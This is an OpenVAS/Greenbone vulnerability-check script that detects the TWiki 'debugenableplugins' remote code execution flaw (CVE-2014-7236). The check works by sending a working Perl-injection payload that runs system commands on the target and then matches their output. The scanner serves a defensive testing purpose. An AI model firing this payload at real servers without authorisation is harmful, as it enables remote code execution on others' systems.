TWiki 'debugenableplugins' Parameter RCE Vulnerability

# SPDX-FileCopyrightText: 2014 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:twiki:twiki";

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.105097");
  script_cve_id("CVE-2014-7236");
  script_tag(name:"cvss_base", value:"6.4");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:N");
  script_version("2024-06-28T15:38:46+0000");

  script_name("TWiki 'debugenableplugins' Parameter RCE Vulnerability");

  script_tag(name:"last_modification", value:"2024-06-28 15:38:46 +0000 (Fri, 28 Jun 2024)");
  script_tag(name:"severity_vector", value:"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2020-02-20 15:23:00 +0000 (Thu, 20 Feb 2020)");
  script_tag(name:"creation_date", value:"2014-10-27 12:57:24 +0100 (Mon, 27 Oct 2014)");
  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2014 Greenbone AG");
  script_dependencies("gb_twiki_detect.nasl", "os_detection.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("twiki/detected");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/70372");
  script_xref(name:"URL", value:"http://twiki.org/");

  script_tag(name:"impact", value:"Attackers can exploit this issue
 to execute arbitrary code in the context of the webserver user.");

  script_tag(name:"vuldetect", value:"Send a HTTP GET request and check the response.");

  script_tag(name:"insight", value:"It is possible to execute arbitrary Perl code by adding a
'debugenableplugins=' parameter with a specially crafted value.");

  script_tag(name:"solution", value:"Updates are available.");
  script_tag(name:"summary", value:"TWiki is prone to a remote code execution (RCE)
  vulnerability.");

  script_tag(name:"affected", value:"TWiki 6.0.0, 5.1.0-5.1.4, 5.0.0-5.0.2, 4.3.0-4.3.2, 4.2.0-4.2.4, 4.1.0-4.1.2,
4.0.0-4.0.5.");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"remote_app");

  exit(0);
}

include("misc_func.inc");
include("http_func.inc");
include("host_details.inc");
include("os_func.inc");
include("http_keepalive.inc");

if( ! port = get_app_port( cpe:CPE ) ) exit( 0 );
if( ! dir = get_app_location( cpe:CPE, port:port ) ) dir = '';

cmds = exploit_commands();

foreach cmd ( keys( cmds ) ) {
  ex = '?debugenableplugins=BackupRestorePlugin%3bprint("Content-Type:text/html\\r\\n\\r\\n")%3bprint(system("' +
       cmds[ cmd ]  + '"))%3bexit';
  url = dir + '/view/Main/WebHome' + ex;

  if( http_vuln_check( port:port, url:url, pattern:cmd, check_header:TRUE ) ) {
    report = http_report_vuln_url( port:port, url:url );
    security_message( port:port, data:report );
    exit( 0 );
  }
}

exit( 99 );